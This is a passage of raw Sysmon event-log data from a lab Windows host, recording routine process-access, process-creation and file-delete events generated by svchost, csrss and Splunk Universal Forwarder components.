10341000x800000000000000015662Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015661Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015660Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015659Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-71A8-613B-DC04-00000000F101}1116C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015658Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71A8-613B-DC04-00000000F101}1116C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015657Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.236{625C326B-71A8-613B-DC04-00000000F101}1116C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000015701Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71A9-613B-DE04-00000000F101}1756C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015700Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015699Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015698Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015697Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015696Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015695Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015694Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015693Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015692Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-71A9-613B-DE04-00000000F101}1756C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015691Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015690Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.970{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71A9-613B-DE04-00000000F101}1756C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015689Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.971{625C326B-71A9-613B-DE04-00000000F101}1756C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015688Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.907{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F9CD87F1E33B162D466E5E90F9028BA2,SHA256=E038D83B18BF17AAB2311423A8CB7B8411B40948ED4D98C1AAF268DB7BBCF478,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015687Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:33.376{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0A8DA277AAA8C404E35CB528233623F7,SHA256=80ADCE5EA83FC6E24C300F07A070E12F5BEF8DE8160256E0978B95E05138A0FE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015704Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:34.985{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5397A4B477FDF1D01669205F47D879A5,SHA256=B9452A17A86E4085DDAAF28C710FCBE3C4BD52E9AAD803ACAC8BC5532FFD1C08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015703Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:34.407{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BE87EE3EC2A21D4E7AAD5DB93950199E,SHA256=711585A2F3CEC1CB46A9E5314855E1F3E7E9B0F25C7F75ACD87E283076453EED,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:34.062{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=87952B924CBB60DE73645F9DE1B75A47,SHA256=4A15E977D517653DFE9C54980BA773155A7A8309616593F213795E477B3F63CA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015702Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:34.189{625C326B-71A9-613B-DE04-00000000F101}17562332C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015733Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.939{625C326B-71AB-613B-E004-00000000F101}37401336C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015732Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71AB-613B-E004-00000000F101}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015731Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015730Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015729Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015728Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 